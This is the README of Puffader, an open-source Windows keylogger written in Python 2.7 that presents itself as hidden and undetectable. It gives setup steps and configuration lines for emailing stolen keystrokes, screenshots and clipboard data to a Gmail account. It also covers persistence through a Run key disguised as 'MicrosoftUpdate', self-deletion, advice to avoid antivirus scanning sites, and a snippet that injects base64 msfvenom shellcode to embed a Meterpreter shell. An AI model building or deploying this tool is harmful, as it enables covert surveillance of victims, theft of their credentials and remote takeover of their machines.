Puffader
Puffader copied to clipboard
Python 2.7 is obsolete, please use https://github.com/xp4xbox/Python-Keylogger
Puffader
Python 2.7 is obsolete so this project isn't really supported anymore please use https://github.com/xp4xbox/Python-Keylogger
Puffader is an opensource, hidden and undetectable keylogger for windows written in Python 2.7 which can also capture screenshots, mouse window clicks and clipboard data.
Installation
Puffader Requires 32 bit versions of:
- Download the repository using github or git eg.
git clone https://github.com/xp4xbox/Puffader - Install the modules by running
python -m pip install -r requirements.txt
Please refer to the wiki for more information on installing prerequisites.
Features
Currently Puffader has several features such as:
- Ability to send logs to any gmail account.
- Ability to capture screenshots
- Ability to store logs locally
- Ability to configure log size before sending
- Ability to send logs at timed intervals
- Ability to stop the program via ctrl-rshift-lshift-h.
- Ability to log special characters.
- Ability to embed an undetectable meterpreter shell
- Ability to capture window mouse clicks
- Ability to run at startup
- Ability to capture clipboard data
- Ability to melt file on execution
- Checking for multiple instances
- And more...
Quick Usage
- Open file with idle or any other editor.
- Modifiy lines
18-37for your personal preference: eg.
strEmailAc = "[email protected]"
strEmailPass = "pass"
intCharPerSend = 1000
blnUseTime = "False"
intTimePerSend = 120
blnStoreLocal = "True"
strLogFile = "c:/temp/test.txt"
blnScrShot = "True"
strScrDir = "c:/temp"
intScrTime = 120
blnLogClick = "True"
blnAddToStartup = "False"
blnLogClipboard = "False"
blnMelt = "False"
NOTE: For
strScrDir, be sure to leave out the last/.
You can only choose one method for storing/sending logs, default is by email.
If you plan to send messages via email, be sure to allow access for less secure apps in your gmail account.
If you ever set the program to run at startup and want to remove it, open regedit and navigate to HKCU\Software\Microsoft\Windows\CurrentVersion\Run and delete the value MicrosoftUpdate.
For more information please refer to the wiki.
Compiling Program To .exe
NOTE: Never scan compiled .exe's with Virus Total, NoDistribute or any other online public scan sites.
Py2Exe
- (Optional) Add this code to Puffader.py
sys.stderr = Noneafter the import statements to ensure no errors will show. - Make sure the program is called Puffader.py in your python folder as well.
- Run
python setup.py - You should see the .exe in the dist folder.
Or refer to the wiki for more information.
Adding Meterpreter Plugin
- Generate raw shellcode using msfvenom (eg. xr8\x02...).
- Encode the shellcode to base64 by using this.
- Move the code_injector module to same dir as the program.
- Paste in this code after the function to prevent multiple instances as here. Setting b64shellcode to be your encrypted shellcode.
import code_injector, base64
# base64 shellcode
b64shellcode = ""
shellcode = base64.b64decode(b64shellcode) # decrypt shellcode
pid = os.getpid() # get current pid
code_injector.InjectShellCode(pid, shellcode) # inject the shellcode into the program
- Build program with Py2Exe.
Check my other project PyEvade for more info on how this works.
Help
If you need any help at all, feel free to post a "help" issue.
Contributing
Contributing is encouraged and will help make a better program. Please refer to this before contributing.
Disclaimer
This program must be used for legal purposes! I am not responsible for anything you do with it.